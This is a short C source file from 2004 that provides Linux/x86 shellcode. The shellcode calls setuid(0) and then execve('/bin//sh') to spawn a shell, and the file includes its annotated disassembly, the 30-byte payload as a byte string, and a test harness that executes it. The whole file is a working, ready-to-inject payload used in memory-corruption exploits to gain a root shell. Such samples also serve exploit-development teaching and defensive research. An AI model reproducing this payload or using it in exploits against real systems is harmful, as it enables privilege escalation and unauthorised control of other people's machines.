/* * $Id: setuid-linux.c,v 1.4 2004/06/02 12:22:30 raptor Exp $ * * setuid-linux.c - setuid/execve shellcode for Linux/x86 * Copyright (c) 2004 Marco Ivaldi * * Short fully-functional setuid(0) and /bin/sh execve() shellcode. */ /* * setuid(0) * * 8049380: 6a 17 push $0x17 * 8049382: 58 pop %eax * 8049383: 31 db xor %ebx,%ebx * 8049385: cd 80 int $0x80 * * execve("/bin//sh", ["/bin//sh"], NULL) * * 8049387: 6a 0b push $0xb * 8049389: 58 pop %eax * 804938a: 99 cltd * 804938b: 52 push %edx * 804938c: 68 2f 2f 73 68 push $0x68732f2f * 8049391: 68 2f 62 69 6e push $0x6e69622f * 8049396: 89 e3 mov %esp,%ebx * 8049398: 52 push %edx * 8049399: 53 push %ebx * 804939a: 89 e1 mov %esp,%ecx * 804939c: cd 80 int $0x80 */ char sc[] = /* 7 + 23 = 30 bytes */ "\x6a\x17\x58\x31\xdb\xcd\x80" "\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"; main() { int (*f)() = (int (*)())sc; f(); }